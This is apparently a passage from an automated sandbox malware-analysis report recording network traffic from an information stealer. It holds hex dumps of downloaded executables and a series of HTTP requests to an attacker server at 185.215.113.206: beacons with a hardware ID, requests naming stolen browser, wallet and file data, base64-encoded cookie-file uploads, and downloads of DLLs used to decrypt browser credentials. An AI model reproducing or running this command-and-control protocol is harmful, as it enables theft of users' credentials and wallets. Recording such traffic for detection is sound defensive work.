00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 50 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 68 65 6a 69 65 61 6a 00 60 1a 00 00 00 32 00 00 52 1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6f 6b 71 70 6b 69 76 00 10 00 00 00 60 4c 00 00 04 00 00 00 4a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4c 00 00 22 00 00 00 4e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 15:52:10 GMTContent-Type: application/octet-streamContent-Length: 244736Last-Modified: Wed, 20 Nov 2024 15:23:11 GMTConnection: keep-aliveETag: "673dfedf-3bc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 31 c7 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 40 22 00 00 00 00 00 c0 1d 02 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 25 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 60 03 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 e4 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 02 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 96 02 00 00 10 00 00 00 98 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 74 b5 00 00 00 b0 02 00 00 b6 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 2b 21 00 00 70 03 00 00 0c 00 00 00 52 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 24 5d 00 00 00 a0 24 00 00 5e 00 00 00 5e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 15:52:16 GMTContent-Type: application/octet-streamContent-Length: 4407808Last-Modified: Wed, 20 Nov 2024 13:33:18 GMTConnection: keep-aliveETag: "673de51e-434200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c5 00 00 04 00 00 85 51 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 2f c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 2e c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 64 78 63 76 72 64 75 00 90 1b 00 00 a0 a9 00 00 90 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 79 71 66 69 75 64 63 00 10 00 00 00 30 c5 00 00 04 00 00 00 1c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c5 00 00 22 00 00 00 20 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 46 32 43 38 30 30 32 32 41 46 32 38 31 32 36 33 31 37 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="hwid"3AF2C80022AF281263175------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="build"mars------GIIJEBAECGCBKECAAAEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="message"browsers------JDGIIDHJEBGIDHJJDBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="message"plugins------EHJJKFCBGIDGHIECGCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="message"fplugins------JJDGCGHCGHCBFHJJKKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJHost: 185.215.113.206Content-Length: 6095Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 2d 2d 0d 0a Data Ascii: ------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JEHIIDGCFHIEGDGCBFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFCAAECBGDGDHIEHJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="file"------BAECFCAAECBGDGDHIEHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="file"------CAEHJEBKFCAKKFIEHDBF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEGHJJDGHCAKEBGIJKJHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGIJKEHCAKFCAKFHDAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 2d 2d 0d 0a Data Ascii: ------AEGIJKEHCAKFCAKFHDAAContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------AEGIJKEHCAKFCAKFHDAAContent-Disposition: form-data; name="message"wallets------AEGIJKEHCAKFCAKFHDAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGHHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; 